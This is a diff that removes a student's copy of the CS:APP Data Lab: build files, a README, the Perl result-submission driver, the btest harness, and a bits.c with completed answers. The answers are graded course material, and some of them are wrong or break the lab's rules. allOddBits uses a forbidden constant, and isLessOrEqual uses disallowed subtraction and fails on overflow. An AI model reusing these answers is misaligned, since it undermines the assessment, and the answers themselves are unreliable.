@ -1,52 +0,0 @@ | |||
# Prerequisites | |||
*.d | |||
# Object files | |||
*.o | |||
*.ko | |||
*.obj | |||
*.elf | |||
# Linker output | |||
*.ilk | |||
*.map | |||
*.exp | |||
# Precompiled Headers | |||
*.gch | |||
*.pch | |||
# Libraries | |||
*.lib | |||
*.a | |||
*.la | |||
*.lo | |||
# Shared objects (inc. Windows DLLs) | |||
*.dll | |||
*.so | |||
*.so.* | |||
*.dylib | |||
# Executables | |||
*.exe | |||
*.out | |||
*.app | |||
*.i*86 | |||
*.x86_64 | |||
*.hex | |||
# Debug files | |||
*.dSYM/ | |||
*.su | |||
*.idb | |||
*.pdb | |||
# Kernel Module Compile Results | |||
*.mod* | |||
*.cmd | |||
.tmp_versions/ | |||
modules.order | |||
Module.symvers | |||
Mkfile.old | |||
dkms.conf |
@ -1,12 +0,0 @@ | |||
# | |||
# This file contains configuration variables for drivers. | |||
# It was generated by genhdrs.pl. Do not modify it. | |||
# | |||
package Driverhdrs; | |||
$LAB = "datalab"; | |||
$SERVER_NAME = "changeme.ics.cs.cmu.edu"; | |||
$SERVER_PORT = 8081; | |||
$COURSE_NAME = "csapp"; | |||
$AUTOGRADE_TIMEOUT = 0; | |||
1; |
@ -1,138 +0,0 @@ | |||
############################################################### | |||
# Driverlib.pm - A package of helper functions for Perl drivers | |||
# | |||
# Copyright (c) 2005 David R. O'Hallaron, All rights reserved. | |||
############################################################### | |||
package Driverlib; | |||
use Socket; | |||
# Autogenerated header file with lab-specific constants | |||
use lib "."; | |||
use Driverhdrs; | |||
require Exporter; | |||
@ISA = qw(Exporter); | |||
@EXPORT = qw( | |||
driver_post | |||
); | |||
use strict; | |||
##### | |||
# Public functions | |||
# | |||
# | |||
# driver_post - This is the routine that a driver calls when | |||
# it needs to transmit an autoresult string to the result server. | |||
# | |||
sub driver_post ($$) { | |||
my $userid = shift; # User id for this submission | |||
my $result = shift; # Autoresult string | |||
my $autograded = shift; # Set if called by an autograder | |||
# Echo the autoresult string to stdout if the driver was called | |||
# by an autograder | |||
if ($autograded) { | |||
print "\n"; | |||
print "AUTORESULT_STRING=$result\n"; | |||
return; | |||
} | |||
# If the driver was called with a specific userid, then submit | |||
# the autoresult string to the result server over the Internet. | |||
if ($userid) { | |||
my $status = submitr($Driverhdrs::SERVER_NAME, | |||
$Driverhdrs::SERVER_PORT, | |||
$Driverhdrs::COURSE_NAME, | |||
$userid, | |||
$Driverhdrs::LAB, | |||
$result); | |||
# Print the status of the transfer | |||
if (!($status =~ /OK/)) { | |||
print "$status\n"; | |||
print "Did not send autoresult string to the result server.\n"; | |||
exit(1); | |||
} | |||
print "Success: Sent autoresult string for $userid to the result server.\n"; | |||
} | |||
} | |||
##### | |||
# Private functions | |||
# | |||
# | |||
# submitr - Sends an autoresult string to the result server | |||
# | |||
sub submitr ($$$$$$) { | |||
my $hostname = shift; | |||
my $port = shift; | |||
my $course = shift; | |||
my $userid = shift; | |||
my $lab = shift; | |||
my $result = shift; | |||
my $internet_addr; | |||
my $enc_result; | |||
my $paddr; | |||
my $line; | |||
my $http_version; | |||
my $errcode; | |||
my $errmsg; | |||
# Establish the connection to the server | |||
socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp')); | |||
$internet_addr = inet_aton($hostname) | |||
or die "Could not convert $hostname to an internet address: $!\n"; | |||
$paddr = sockaddr_in($port, $internet_addr); | |||
connect(SERVER, $paddr) | |||
or die "Could not connect to $hostname:$port:$!\n"; | |||
select((select(SERVER), $| = 1)[0]); # enable command buffering | |||
# Send HTTP request to server | |||
$enc_result = url_encode($result); | |||
print SERVER "GET /$course/submitr.pl/?userid=$userid&lab=$lab&result=$enc_result&submit=submit HTTP/1.0\r\n\r\n"; | |||
# Get first HTTP response line | |||
$line = <SERVER>; | |||
chomp($line); | |||
($http_version, $errcode, $errmsg) = split(/\s+/, $line); | |||
if ($errcode != 200) { | |||
return "Error: HTTP request failed with error $errcode: $errmsg"; | |||
} | |||
# Read the remaining HTTP response header lines | |||
while ($line = <SERVER>) { | |||
if ($line =~ /^\r\n/) { | |||
last; | |||
} | |||
} | |||
# Read and return the response from the result server | |||
$line = <SERVER>; | |||
chomp($line); | |||
close SERVER; | |||
return $line; | |||
} | |||
# | |||
# url_encode - Encode text string so it can be included in URI of GET request | |||
# | |||
sub url_encode ($) { | |||
my $value = shift; | |||
$value =~s/([^a-zA-Z0-9_\-.])/uc sprintf("%%%02x",ord($1))/eg; | |||
return $value; | |||
} | |||
# Always end a module with a 1 so that it returns TRUE | |||
1; | |||
@ -1,33 +0,0 @@ | |||
# | |||
# Makefile that builds btest and other helper programs for the CS:APP data lab | |||
# | |||
CC = gcc | |||
CFLAGS = -O -Wall -m32 | |||
LIBS = -lm | |||
all: btest fshow ishow | |||
btest: btest.c bits.c decl.c tests.c btest.h bits.h | |||
$(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c | |||
fshow: fshow.c | |||
$(CC) $(CFLAGS) -o fshow fshow.c | |||
ishow: ishow.c | |||
$(CC) $(CFLAGS) -o ishow ishow.c | |||
# Forces a recompile. Used by the driver program. | |||
btestexplicit: | |||
$(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c | |||
clean: | |||
rm -f *.o btest fshow ishow *~ | |||
oneshoot: | |||
make clean; \ | |||
./dlc bits.c; \ | |||
make btest; \ | |||
./btest bits.c; \ | |||
make clean \ | |||
@ -1,140 +0,0 @@ | |||
*********************** | |||
The CS:APP Data Lab | |||
Directions to Students | |||
*********************** | |||
Your goal is to modify your copy of bits.c so that it passes all the | |||
tests in btest without violating any of the coding guidelines. | |||
********* | |||
0. Files: | |||
********* | |||
Makefile - Makes btest, fshow, and ishow | |||
README - This file | |||
bits.c - The file you will be modifying and handing in | |||
bits.h - Header file | |||
btest.c - The main btest program | |||
btest.h - Used to build btest | |||
decl.c - Used to build btest | |||
tests.c - Used to build btest | |||
tests-header.c- Used to build btest | |||
dlc* - Rule checking compiler binary (data lab compiler) | |||
driver.pl* - Driver program that uses btest and dlc to autograde bits.c | |||
Driverhdrs.pm - Header file for optional "Beat the Prof" contest | |||
fshow.c - Utility for examining floating-point representations | |||
ishow.c - Utility for examining integer representations | |||
*********************************************************** | |||
1. Modifying bits.c and checking it for compliance with dlc | |||
*********************************************************** | |||
IMPORTANT: Carefully read the instructions in the bits.c file before | |||
you start. These give the coding rules that you will need to follow if | |||
you want full credit. | |||
Use the dlc compiler (./dlc) to automatically check your version of | |||
bits.c for compliance with the coding guidelines: | |||
unix> ./dlc bits.c | |||
dlc returns silently if there are no problems with your code. | |||
Otherwise it prints messages that flag any problems. Running dlc with | |||
the -e switch: | |||
unix> ./dlc -e bits.c | |||
causes dlc to print counts of the number of operators used by each function. | |||
Once you have a legal solution, you can test it for correctness using | |||
the ./btest program. | |||
********************* | |||
2. Testing with btest | |||
********************* | |||
The Makefile in this directory compiles your version of bits.c with | |||
additional code to create a program (or test harness) named btest. | |||
To compile and run the btest program, type: | |||
unix> make btest | |||
unix> ./btest [optional cmd line args] | |||
You will need to recompile btest each time you change your bits.c | |||
program. When moving from one platform to another, you will want to | |||
get rid of the old version of btest and generate a new one. Use the | |||
commands: | |||
unix> make clean | |||
unix> make btest | |||
Btest tests your code for correctness by running millions of test | |||
cases on each function. It tests wide swaths around well known corner | |||
cases such as Tmin and zero for integer puzzles, and zero, inf, and | |||
the boundary between denormalized and normalized numbers for floating | |||
point puzzles. When btest detects an error in one of your functions, | |||
it prints out the test that failed, the incorrect result, and the | |||
expected result, and then terminates the testing for that function. | |||
Here are the command line options for btest: | |||
unix> ./btest -h | |||
Usage: ./btest [-hg] [-r <n>] [-f <name> [-1|-2|-3 <val>]*] [-T <time limit>] | |||
-1 <val> Specify first function argument | |||
-2 <val> Specify second function argument | |||
-3 <val> Specify third function argument | |||
-f <name> Test only the named function | |||
-g Format output for autograding with no error messages | |||
-h Print this message | |||
-r <n> Give uniform weight of n for all problems | |||
-T <lim> Set timeout limit to lim | |||
Examples: | |||
Test all functions for correctness and print out error messages: | |||
unix> ./btest | |||
Test all functions in a compact form with no error messages: | |||
unix> ./btest -g | |||
Test function foo for correctness: | |||
unix> ./btest -f foo | |||
Test function foo for correctness with specific arguments: | |||
unix> ./btest -f foo -1 27 -2 0xf | |||
Btest does not check your code for compliance with the coding | |||
guidelines. Use dlc to do that. | |||
******************* | |||
3. Helper Programs | |||
******************* | |||
We have included the ishow and fshow programs to help you decipher | |||
integer and floating point representations respectively. Each takes a | |||
single decimal or hex number as an argument. To build them type: | |||
unix> make | |||
Example usages: | |||
unix> ./ishow 0x27 | |||
Hex = 0x00000027, Signed = 39, Unsigned = 39 | |||
unix> ./ishow 27 | |||
Hex = 0x0000001b, Signed = 27, Unsigned = 27 | |||
unix> ./fshow 0x15213243 | |||
Floating point value 3.255334057e-26 | |||
Bit Representation 0x15213243, sign = 0, exponent = 0x2a, fraction = 0x213243 | |||
Normalized. +1.2593463659 X 2^(-85) | |||
linux> ./fshow 15213243 | |||
Floating point value 2.131829405e-38 | |||
Bit Representation 0x00e822bb, sign = 0, exponent = 0x01, fraction = 0x6822bb | |||
Normalized. +1.8135598898 X 2^(-126) | |||
@ -1,388 +0,0 @@ | |||
/* | |||
* CS:APP Data Lab | |||
* | |||
* <Please put your name and userid here> | |||
* | |||
* bits.c - Source file with your solutions to the Lab. | |||
* This is the file you will hand in to your instructor. | |||
* | |||
* WARNING: Do not include the <stdio.h> header; it confuses the dlc | |||
* compiler. You can still use printf for debugging without including | |||
* <stdio.h>, although you might get a compiler warning. In general, | |||
* it's not good practice to ignore compiler warnings, but in this | |||
* case it's OK. | |||
*/ | |||
#if 0 | |||
/* | |||
* Instructions to Students: | |||
* | |||
* STEP 1: Read the following instructions carefully. | |||
*/ | |||
You will provide your solution to the Data Lab by | |||
editing the collection of functions in this source file. | |||
INTEGER CODING RULES: | |||
Replace the "return" statement in each function with one | |||
or more lines of C code that implements the function. Your code | |||
must conform to the following style: | |||
int Funct(arg1, arg2, ...) { | |||
/* brief description of how your implementation works */ | |||
int var1 = Expr1; | |||
... | |||
int varM = ExprM; | |||
varJ = ExprJ; | |||
... | |||
varN = ExprN; | |||
return ExprR; | |||
} | |||
Each "Expr" is an expression using ONLY the following: | |||
1. Integer constants 0 through 255 (0xFF), inclusive. You are | |||
not allowed to use big constants such as 0xffffffff. | |||
2. Function arguments and local variables (no global variables). | |||
3. Unary integer operations ! ~ | |||
4. Binary integer operations & ^ | + << >> | |||
Some of the problems restrict the set of allowed operators even further. | |||
Each "Expr" may consist of multiple operators. You are not restricted to | |||
one operator per line. | |||
You are expressly forbidden to: | |||
1. Use any control constructs such as if, do, while, for, switch, etc. | |||
2. Define or use any macros. | |||
3. Define any additional functions in this file. | |||
4. Call any functions. | |||
5. Use any other operations, such as &&, ||, -, or ?: | |||
6. Use any form of casting. | |||
7. Use any data type other than int. This implies that you | |||
cannot use arrays, structs, or unions. | |||
You may assume that your machine: | |||
1. Uses 2s complement, 32-bit representations of integers. | |||
2. Performs right shifts arithmetically. | |||
3. Has unpredictable behavior when shifting if the shift amount | |||
is less than 0 or greater than 31. | |||
EXAMPLES OF ACCEPTABLE CODING STYLE: | |||
/* | |||
* pow2plus1 - returns 2^x + 1, where 0 <= x <= 31 | |||
*/ | |||
int pow2plus1(int x) { | |||
/* exploit ability of shifts to compute powers of 2 */ | |||
return (1 << x) + 1; | |||
} | |||
/* | |||
* pow2plus4 - returns 2^x + 4, where 0 <= x <= 31 | |||
*/ | |||
int pow2plus4(int x) { | |||
/* exploit ability of shifts to compute powers of 2 */ | |||
int result = (1 << x); | |||
result += 4; | |||
return result; | |||
} | |||
FLOATING POINT CODING RULES | |||
For the problems that require you to implement floating-point operations, | |||
the coding rules are less strict. You are allowed to use looping and | |||
conditional control. You are allowed to use both ints and unsigneds. | |||
You can use arbitrary integer and unsigned constants. You can use any arithmetic, | |||
logical, or comparison operations on int or unsigned data. | |||
You are expressly forbidden to: | |||
1. Define or use any macros. | |||
2. Define any additional functions in this file. | |||
3. Call any functions. | |||
4. Use any form of casting. | |||
5. Use any data type other than int or unsigned. This means that you | |||
cannot use arrays, structs, or unions. | |||
6. Use any floating point data types, operations, or constants. | |||
NOTES: | |||
1. Use the dlc (data lab checker) compiler (described in the handout) to | |||
check the legality of your solutions. | |||
2. Each function has a maximum number of operations (integer, logical, | |||
or comparison) that you are allowed to use for your implementation | |||
of the function. The max operator count is checked by dlc. | |||
Note that assignment ('=') is not counted; you may use as many of | |||
these as you want without penalty. | |||
3. Use the btest test harness to check your functions for correctness. | |||
4. Use the BDD checker to formally verify your functions | |||
5. The maximum number of ops for each function is given in the | |||
header comment for each function. If there are any inconsistencies | |||
between the maximum ops in the writeup and in this file, consider | |||
this file the authoritative source. | |||
/* | |||
* STEP 2: Modify the following functions according the coding rules. | |||
* | |||
* IMPORTANT. TO AVOID GRADING SURPRISES: | |||
* 1. Use the dlc compiler to check that your solutions conform | |||
* to the coding rules. | |||
* 2. Use the BDD checker to formally verify that your solutions produce | |||
* the correct answers. | |||
*/ | |||
#endif | |||
/* Copyright (C) 1991-2020 Free Software Foundation, Inc. | |||
This file is part of the GNU C Library. | |||
The GNU C Library is free software; you can redistribute it and/or | |||
modify it under the terms of the GNU Lesser General Public | |||
License as published by the Free Software Foundation; either | |||
version 2.1 of the License, or (at your option) any later version. | |||
The GNU C Library is distributed in the hope that it will be useful, | |||
but WITHOUT ANY WARRANTY; without even the implied warranty of | |||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | |||
Lesser General Public License for more details. | |||
You should have received a copy of the GNU Lesser General Public | |||
License along with the GNU C Library; if not, see | |||
<https://www.gnu.org/licenses/>. */ | |||
/* This header is separate from features.h so that the compiler can | |||
include it implicitly at the start of every compilation. It must | |||
not itself include <features.h> or any other header that includes | |||
<features.h> because the implicit include comes before any feature | |||
test macros that may be defined in a source file before it first | |||
explicitly includes a system header. GCC knows the name of this | |||
header in order to preinclude it. */ | |||
/* glibc's intent is to support the IEC 559 math functionality, real | |||
and complex. If the GCC (4.9 and later) predefined macros | |||
specifying compiler intent are available, use them to determine | |||
whether the overall intent is to support these features; otherwise, | |||
presume an older compiler has intent to support these features and | |||
define these macros by default. */ | |||
/* wchar_t uses Unicode 10.0.0. Version 10.0 of the Unicode Standard is | |||
synchronized with ISO/IEC 10646:2017, fifth edition, plus | |||
the following additions from Amendment 1 to the fifth edition: | |||
- 56 emoji characters | |||
- 285 hentaigana | |||
- 3 additional Zanabazar Square characters */ | |||
//1 | |||
/* | |||
* bitXor - x^y using only ~ and & | |||
* Example: bitXor(4, 5) = 1 | |||
* Legal ops: ~ & | |||
* Max ops: 14 | |||
* Rating: 1 | |||
*/ | |||
int bitXor(int x, int y) { | |||
return ~(~x&~y)&~(x&y); | |||
} | |||
/* | |||
* tmin - return minimum two's complement integer | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 4 | |||
* Rating: 1 | |||
*/ | |||
int tmin(void) { | |||
return 0x1<<31; | |||
} | |||
//2 | |||
/* | |||
* isTmax - returns 1 if x is the maximum, two's complement number, | |||
* and 0 otherwise | |||
* Legal ops: ! ~ & ^ | + | |||
* Max ops: 10 | |||
* Rating: 1 | |||
*/ | |||
int isTmax(int x) { | |||
int i =x+1; | |||
x = x+i; | |||
x = ~x; | |||
i = !i; | |||
x = x+i; | |||
return !x; | |||
} | |||
/* | |||
* allOddBits - return 1 if all odd-numbered bits in word set to 1 | |||
* where bits are numbered from 0 (least significant) to 31 (most significant) | |||
* Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1 | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 12 | |||
* Rating: 2 | |||
*/ | |||
int allOddBits(int x) { | |||
int a = 0xaaaaaaaa; | |||
return !((a&x)^a); | |||
} | |||
/* | |||
* negate - return -x | |||
* Example: negate(1) = -1. | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 5 | |||
* Rating: 2 | |||
*/ | |||
int negate(int x) { | |||
return ~x+1; | |||
} | |||
//3 | |||
/* | |||
* isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9') | |||
* Example: isAsciiDigit(0x35) = 1. | |||
* isAsciiDigit(0x3a) = 0. | |||
* isAsciiDigit(0x05) = 0. | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 15 | |||
* Rating: 3 | |||
*/ | |||
int isAsciiDigit(int x) { | |||
//下边界为加够了就溢出,比这个大 | |||
//上边界为加不够就不溢出 | |||
int downstream = ~0x30+1; | |||
int upstream = ~0x39; | |||
int leftside = !((downstream+x)>>31); //超过0x30就符号变为0 | |||
int rightside = !!((upstream+x)>>31); //小于0x39就符号仍然为1 | |||
return leftside&rightside; | |||
} | |||
/* | |||
* conditional - same as x ? y : z | |||
* Example: conditional(2,4,5) = 4 | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 16 | |||
* Rating: 3 | |||
*/ | |||
int conditional(int x, int y, int z) { | |||
x = !!(x); | |||
x = ~x+1; | |||
return (x&y)|(~x&z); | |||
} | |||
/* | |||
* isLessOrEqual - if x <= y then return 1, else return 0 | |||
* Example: isLessOrEqual(4,5) = 1. | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 24 | |||
* Rating: 3 | |||
*/ | |||
int isLessOrEqual(int x, int y) { | |||
int tmp = ~y+1; | |||
tmp = tmp+x-1; | |||
tmp = tmp >> 31;//如果比y大,则为0,比y小等于,为1 | |||
return !!tmp; | |||
} | |||
//4 | |||
/* | |||
* logicalNeg - implement the ! operator, using all of | |||
* the legal operators except ! | |||
* Examples: logicalNeg(3) = 0, logicalNeg(0) = 1 | |||
* Legal ops: ~ & ^ | + << >> | |||
* Max ops: 12 | |||
* Rating: 4 | |||
*/ | |||
int logicalNeg(int x) { | |||
return ((x|(~x+1))>>31)+1; | |||
} | |||
/* howManyBits - return the minimum number of bits required to represent x in | |||
* two's complement | |||
* Examples: howManyBits(12) = 5 | |||
* howManyBits(298) = 10 | |||
* howManyBits(-5) = 4 | |||
* howManyBits(0) = 1 | |||
* howManyBits(-1) = 1 | |||
* howManyBits(0x80000000) = 32 | |||
* Legal ops: ! ~ & ^ | + << >> | |||
* Max ops: 90 | |||
* Rating: 4 | |||
*/ | |||
int howManyBits(int x) { | |||
x = ((~(x>>31))&x)|(x>>31&~x);//左边为如果为正数,则保留;右边为如果为负数,则取反 | |||
//先从最大开始查找 | |||
int tf = !!(x>>16); //如果小于等于16位,则为0,否则为1 | |||
int b16 = tf << 4; //长度超过16位,记录值b16为16,否则为0,代表至少16位 | |||
x = x>>b16; //右移动b16位,超过16位则探讨16位以上的,少于16位则探讨16位以下的 | |||
tf = !!(x>>8); //开始探讨剩余部位是否超过8位,超过看超过多少,没超过看余下多少 | |||
int b8 = tf << 3;//长度超过8位,记录值b8为8,否则为0,代表再多至少8位 | |||
x = x>>b8; | |||
tf = !!(x>>4); | |||
int b4 = tf << 2 ; //8找4,长度超过4位,记录值b4为4,否则为0,代表再多至少4位 | |||
x = x>>b4; | |||
tf = !!(x>>2); | |||
int b2 = tf << 1; //4找2,长度超过2位,记录值b2为2,否则为0,代表再多至少2位 | |||
x = x>>b2; | |||
tf = !!(x>>1); //2找1,长度超过1位,记录值b1为1,否则为0,代表再多至少1位 | |||
int b1 = tf << 0; | |||
x = x>>b1; | |||
int b0 = x;//截断到只剩单个数字,这个数字是1就再多一位,是0就不会增加 | |||
return b0+b1+b2+b4+b8+b16+1; //正数多一位补码最高位,负数因为取反未+1,理应再加1,故两个输出表达式一致 | |||
} | |||
//float | |||
/* | |||
* floatScale2 - Return bit-level equivalent of expression 2*f for | |||
* floating point argument f. | |||
* Both the argument and result are passed as unsigned int's, but | |||
* they are to be interpreted as the bit-level representation of | |||
* single-precision floating point values. | |||
* When argument is NaN, return argument | |||
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while | |||
* Max ops: 30 | |||
* Rating: 4 | |||
*/ | |||
unsigned floatScale2(unsigned uf) { | |||
unsigned sign = (0x80000000)&uf; | |||
unsigned exp = (0x7f800000)&uf; | |||
unsigned frac = (0x007fffff)&uf; | |||
if(exp == 0x7f800000) | |||
return uf; //如果是exp全为255,frac全是0就是无穷,不是就是NaN,都直接return | |||
if(exp == 0x00000000){ | |||
if(frac == 0x00000000) | |||
return uf; //exp全为0,frac全为0,则为0,0*2=0,原样不动 | |||
return (frac<<1)|sign|exp;//exp全为0,frac不全为0,注意到非规格化极小和规格化之间是连续的,即frac第一位为1时,左移会把exp变为非全0,回到规格化 | |||
} | |||
return (exp+0x00800000)|sign|frac; | |||
} | |||
/* | |||
* floatFloat2Int - Return bit-level equivalent of expression (int) f | |||
* for floating point argument f. | |||
* Argument is passed as unsigned int, but | |||
* it is to be interpreted as the bit-level representation of a | |||
* single-precision floating point value. | |||
* Anything out of range (including NaN and infinity) should return | |||
* 0x80000000u. | |||
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while | |||
* Max ops: 30 | |||
* Rating: 4 | |||
*/ | |||
int floatFloat2Int(unsigned uf) { | |||
unsigned sign = ((0x80000000)&uf)>>31; | |||
unsigned exp = ((0x7f800000)&uf)>>23; | |||
unsigned frac = (0x007fffff)&uf; | |||
unsigned base = (frac+0x00800000);//加1后的基底(对于常规数) | |||
int bias = (exp-127)-23;//真实需要左移的 | |||
if(sign==0) | |||
sign = 1; | |||
else | |||
sign = -1; | |||
if(exp == 255) | |||
return 0x80000000u;//足够大 | |||
if(exp == 0) | |||
return 0;//足够小 | |||
if(bias <=0){ | |||
if(bias<=-24) | |||
bias = -24; | |||
return sign*(base>>(-bias)); | |||
} | |||
else{ | |||
if(bias>=9) | |||
return 0x80000000u; | |||
return sign*(base<<bias); | |||
} | |||
} | |||
// #include "floatPower2.c" |
@ -1,65 +0,0 @@ | |||
/* Copyright (C) 1991-2020 Free Software Foundation, Inc. | |||
This file is part of the GNU C Library. | |||
The GNU C Library is free software; you can redistribute it and/or | |||
modify it under the terms of the GNU Lesser General Public | |||
License as published by the Free Software Foundation; either | |||
version 2.1 of the License, or (at your option) any later version. | |||
The GNU C Library is distributed in the hope that it will be useful, | |||
but WITHOUT ANY WARRANTY; without even the implied warranty of | |||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | |||
Lesser General Public License for more details. | |||
You should have received a copy of the GNU Lesser General Public | |||
License along with the GNU C Library; if not, see | |||
<https://www.gnu.org/licenses/>. */ | |||
/* This header is separate from features.h so that the compiler can | |||
include it implicitly at the start of every compilation. It must | |||
not itself include <features.h> or any other header that includes | |||
<features.h> because the implicit include comes before any feature | |||
test macros that may be defined in a source file before it first | |||
explicitly includes a system header. GCC knows the name of this | |||
header in order to preinclude it. */ | |||
/* glibc's intent is to support the IEC 559 math functionality, real | |||
and complex. If the GCC (4.9 and later) predefined macros | |||
specifying compiler intent are available, use them to determine | |||
whether the overall intent is to support these features; otherwise, | |||
presume an older compiler has intent to support these features and | |||
define these macros by default. */ | |||
/* wchar_t uses Unicode 10.0.0. Version 10.0 of the Unicode Standard is | |||
synchronized with ISO/IEC 10646:2017, fifth edition, plus | |||
the following additions from Amendment 1 to the fifth edition: | |||
- 56 emoji characters | |||
- 285 hentaigana | |||
- 3 additional Zanabazar Square characters */ | |||
//1 | |||
int bitXor(int, int); | |||
int test_bitXor(int, int); | |||
int tmin(); | |||
int test_tmin(); | |||
//2 | |||
int isTmax(int); | |||
int test_isTmax(int); | |||
int allOddBits(); | |||
int test_allOddBits(); | |||
int negate(int); | |||
int test_negate(int); | |||
//3 | |||
int isAsciiDigit(int); | |||
int test_isAsciiDigit(int); | |||
int conditional(int, int, int); | |||
int test_conditional(int, int, int); | |||
int isLessOrEqual(int, int); | |||
int test_isLessOrEqual(int, int); | |||
//4 | |||
int logicalNeg(int); | |||
int test_logicalNeg(int); | |||
int howManyBits(int); | |||
int test_howManyBits(int); | |||
//float | |||
unsigned floatScale2(unsigned); | |||
unsigned test_floatScale2(unsigned); | |||
int floatFloat2Int(unsigned); | |||
int test_floatFloat2Int(unsigned); | |||
// #include "floatPower2.c" |
@ -1,583 +0,0 @@ | |||
/* | |||
* CS:APP Data Lab | |||
* | |||
* btest.c - A test harness that checks a student's solution in bits.c | |||
* for correctness. | |||
* | |||
* Copyright (c) 2001-2011, R. Bryant and D. O'Hallaron, All rights | |||
* reserved. May not be used, modified, or copied without permission. | |||
* | |||
* This is an improved version of btest that tests large windows | |||
* around zero and tmin and tmax for integer puzzles, and zero, norm, | |||
* and denorm boundaries for floating point puzzles. | |||
* | |||
* Note: not 64-bit safe. Always compile with gcc -m32 option. | |||
*/ | |||
#include <stdio.h> | |||
#include <unistd.h> | |||
#include <stdlib.h> | |||
#include <string.h> | |||
#include <limits.h> | |||
#include <signal.h> | |||
#include <setjmp.h> | |||
#include <math.h> | |||
#include "btest.h" | |||
/* Not declared in some stdlib.h files, so define here */ | |||
float strtof(const char *nptr, char **endptr); | |||
/************************* | |||
* Configuration Constants | |||
*************************/ | |||
/* Handle infinite loops by setting upper limit on execution time, in | |||
seconds */ | |||
#define TIMEOUT_LIMIT 10 | |||
/* For functions with a single argument, generate TEST_RANGE values | |||
above and below the min and max test values, and above and below | |||
zero. Functions with two or three args will use square and cube | |||
roots of this value, respectively, to avoid combinatorial | |||
explosion */ | |||
#define TEST_RANGE 500000 | |||
/* This defines the maximum size of any test value array. The | |||
gen_vals() routine creates k test values for each value of | |||
TEST_RANGE, thus MAX_TEST_VALS must be at least k*TEST_RANGE */ | |||
#define MAX_TEST_VALS 13*TEST_RANGE | |||
/********************************** | |||
* Globals defined in other modules | |||
**********************************/ | |||
/* This characterizes the set of puzzles to test. | |||
Defined in decl.c and generated from templates in ./puzzles dir */ | |||
extern test_rec test_set[]; | |||
/************************************************ | |||
* Write-once globals defined by command line args | |||
************************************************/ | |||
/* Emit results in a format for autograding, without showing | |||
and counter-examples */ | |||
static int grade = 0; | |||
/* Time out after this number of seconds */ | |||
static int timeout_limit = TIMEOUT_LIMIT; /* -T */ | |||
/* If non-NULL, test only one function (-f) */ | |||
static char* test_fname = NULL; | |||
/* Special case when only use fixed argument(s) (-1, -2, or -3) */ | |||
static int has_arg[3] = {0,0,0}; | |||
static unsigned argval[3] = {0,0,0}; | |||
/* Use fixed weight for rating, and if so, what should it be? (-r) */ | |||
static int global_rating = 0; | |||
/****************** | |||
* Helper functions | |||
******************/ | |||
/* | |||
* Signal - installs a signal handler | |||
*/ | |||
typedef void handler_t(int); | |||
handler_t *Signal(int signum, handler_t *handler) | |||
{ | |||
struct sigaction action, old_action; | |||
action.sa_handler = handler; | |||
sigemptyset(&action.sa_mask); /* block sigs of type being handled */ | |||
action.sa_flags = SA_RESTART; /* restart syscalls if possible */ | |||
if (sigaction(signum, &action, &old_action) < 0) | |||
perror("Signal error"); | |||
return (old_action.sa_handler); | |||
} | |||
/* | |||
* timeout_handler - SIGALARM hander | |||
*/ | |||
sigjmp_buf envbuf; | |||
void timeout_handler(int sig) { | |||
siglongjmp(envbuf, 1); | |||
} | |||
/* | |||
* random_val - Return random integer value between min and max | |||
*/ | |||
static int random_val(int min, int max) | |||
{ | |||
double weight = rand()/(double) RAND_MAX; | |||
int result = min * (1-weight) + max * weight; | |||
return result; | |||
} | |||
/* | |||
* gen_vals - Generate the integer values we'll use to test a function | |||
*/ | |||
static int gen_vals(int test_vals[], int min, int max, int test_range, int arg) | |||
{ | |||
int i; | |||
int test_count = 0; | |||
/* Special case: If the user has specified a specific function | |||
argument using the -1, -2, or -3 flags, then simply use this | |||
argument and return */ | |||
if (has_arg[arg]) { | |||
test_vals[0] = argval[arg]; | |||
return 1; | |||
} | |||
/* | |||
* Special case: Generate test vals for floating point functions | |||
* where the input argument is an unsigned bit-level | |||
* representation of a float. For this case we want to test the | |||
* regions around zero, the smallest normalized and largest | |||
* denormalized numbers, one, and the largest normalized number, | |||
* as well as inf and nan. | |||
*/ | |||
if ((min == 1 && max == 1)) { | |||
unsigned smallest_norm = 0x00800000; | |||
unsigned one = 0x3f800000; | |||
unsigned largest_norm = 0x7f000000; | |||
unsigned inf = 0x7f800000; | |||
unsigned nan = 0x7fc00000; | |||
unsigned sign = 0x80000000; | |||
/* Test range should be at most 1/2 the range of one exponent | |||
value */ | |||
if (test_range > (1 << 23)) { | |||
test_range = 1 << 23; | |||
} | |||
/* Functions where the input argument is an unsigned bit-level | |||
representation of a float. The number of tests generated | |||
inside this loop body is the value k referenced in the | |||
comment for the global variable MAX_TEST_VALS. */ | |||
for (i = 0; i < test_range; i++) { | |||
/* Denorms around zero */ | |||
test_vals[test_count++] = i; | |||
test_vals[test_count++] = sign | i; | |||
/* Region around norm to denorm transition */ | |||
test_vals[test_count++] = smallest_norm + i; | |||
test_vals[test_count++] = smallest_norm - i; | |||
test_vals[test_count++] = sign | (smallest_norm + i); | |||
test_vals[test_count++] = sign | (smallest_norm - i); | |||
/* Region around one */ | |||
test_vals[test_count++] = one + i; | |||
test_vals[test_count++] = one - i; | |||
test_vals[test_count++] = sign | (one + i); | |||
test_vals[test_count++] = sign | (one - i); | |||
/* Region below largest norm */ | |||
test_vals[test_count++] = largest_norm - i; | |||
test_vals[test_count++] = sign | (largest_norm - i); | |||
} | |||
/* special vals */ | |||
test_vals[test_count++] = inf; /* inf */ | |||
test_vals[test_count++] = sign | inf; /* -inf */ | |||
test_vals[test_count++] = nan; /* nan */ | |||
test_vals[test_count++] = sign | nan; /* -nan */ | |||
return test_count; | |||
} | |||
/* | |||
* Normal case: Generate test vals for integer functions | |||
*/ | |||
